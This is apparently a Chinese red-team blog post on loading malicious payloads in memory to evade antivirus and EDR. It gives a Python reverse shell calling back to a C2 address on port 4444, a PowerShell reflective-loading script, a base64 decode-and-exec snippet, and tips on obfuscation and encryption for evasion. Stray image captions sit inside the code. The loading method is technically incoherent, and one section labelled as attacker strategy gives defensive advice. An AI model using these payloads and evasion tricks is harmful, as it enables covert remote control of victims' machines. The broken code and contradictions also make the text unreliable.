0x01 技术背景与挑战

我在实战中曾遇到过这样一个场景：为了避免被杀软检测到，必须将恶意代码直接加载到内存中执行，而不是以文件形式落地。这种技术被称为内存加载免杀技术，它依赖于系统架构的特点，绕过传统文件杀毒的检测。而现代的反病毒软件和EDR（端点检测与响应）不断进化，几乎成为了攻击者的噩梦。为了在这场猫鼠游戏中获胜，攻击者必须了解这些工具的检测原理，开发出更为高级的攻击技术。

内存加载的核心在于利用内存管理机制，将代码直接注入到进程的内存空间中，避免在磁盘上留下痕迹。通过这种方式，我们可以绕过大多数基于文件的检测系统。但这并不简单，需要充分理解内存管理、进程注入和反射式加载等技术。

0x02 实验室构建

为了深入研究内存加载免杀技术，我先搭建了一个实验室环境。这个实验室由一个Windows系统和一个带有EDR的Linux服务器组成。让我们看看如何搭建这个环境：

  1. Windows 10 虚拟机：安装在VMware Workstation中，系统更新至最新版本，安装常见的杀毒软件如Windows Defender。确保虚拟网卡设置为仅主机模式，以便从Linux服务器发送攻击Payload。
  1. Linux 服务器：运行最新的Ubuntu版本，安装Metasploit及其他常见的渗透工具作为C2（指挥与控制）服务器。
  1. 网络配置：确保Windows虚拟机与Linux服务器可以互相通信，配置好防火墙以允许特定端口的访问。

准备好环境后，就可以开始实战了。我们要在Windows系统上测试加载恶意Payload的免杀效果。

0x03 载荷的深度隐匿

构造出一个Payload是攻击中的重要环节。为了保证我们的Payload能够成功地绕过检测，我们需要用到Python和PowerShell。这两者结合可以实现加载和执行恶意代码的功能。

创建恶意Payload

首先，我们用Python生成一个简单的恶意Payload。这个Payload将在加载到内存后执行反向Shell，连接到我们的Linux服务器。

<pre><code class="language-python">import socket import subprocess

def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((&quot;192.168.1.10&quot;, 4444))

while True: command = s.recv(1024).decode() if command.lower() == &quot;exit&quot;: break output = subprocess.getoutput(command) s.send(output.encode())

s.close()

黑客示意图

if __name__ == &quot;__main__&quot;: connect()</code></pre>

将上述代码转换为一个可执行的二进制文件，然后用PowerShell来加载它。

PowerShell 中的内存加载

黑客示意图

利用PowerShell来动态加载和执行上面的Payload：

<pre><code class="language-powershell"># 读取二进制文件到内存 $payload = [System.IO.File]::ReadAllBytes(&quot;payload.bin&quot;)

创建一个内存流

$memStream = New-Object IO.MemoryStream(,$payload)

加载到内存并执行

$assembly = [System.Reflection.Assembly]::Load($memStream) $assembly.EntryPoint.Invoke($null, (, [string[]] @()))</code></pre>

这段PowerShell脚本的目标是：将二进制文件直接加载到内存，并调用其入口点执行。这样做可以避免写入磁盘，从而增加免杀成功率。

0x04 绕过检测的奇技淫巧

免杀的核心在于避开杀软和EDR的检测。根据我的经验，有几种技巧可以提高免杀的成功率：

代码混淆与变形

通过对代码进行混淆，如变量名随机化、插入无用代码等，可以极大降低被静态分析检测到的风险。可以使用Python的库如PyArmor来混淆代码。

动态解密

将Payload加密存储，在执行时动态解密，可以避免被杀软的特征库检测到。下面是一个简单的加密例子：

<pre><code class="language-python">import base64

def decrypt_and_execute(): encrypted_payload = &quot;U29tZUVuY3J5cHRlZERhdGE=&quot; decoded_payload = base64.b64decode(encrypted_payload)

模拟执行解码后的Payload

exec(decoded_payload)

黑客示意图

decrypt_and_execute()</code></pre>

内存分块

将Payload分成多个小块分别加载，可以使得检测工具难以一眼识别出完整的恶意代码。

0x05 侦查与应对策略

作为攻击者，了解如何侦查和对抗防御机制也是必不可少的。以下几个是我在攻击中最常用的策略：

监控进程行为

通过监控进程的异常行为来识别潜在的威胁。定期检查内存中可疑的DLL加载、网络连接等行为，可以及早发现问题。

多层次防护

在不同层次上部署防御措施，包括网络层、主机层和应用层。分层防护能有效降低单点失败的风险。

0x06 红队的心得体会

在攻防对抗中，攻击者需要不断更新自己的技术，充分理解敌方的防御策略。内存加载免杀技术虽然复杂，但其强大的对抗能力为红队提供了重要的武器。

  • 持续学习与实践：技术更新太快，必须不断学习和实验，保持技术优势。
  • 团队协作：与其他红队成员分享经验和工具，取长补短。
  • 道德与法律：始终在法律允许的范围内进行测试，不触及法律底线。

这是我在实战中总结的一些经验，希望对其他安全研究者有所帮助。记住，技术只是工具，目标是保护和改善系统的安全性。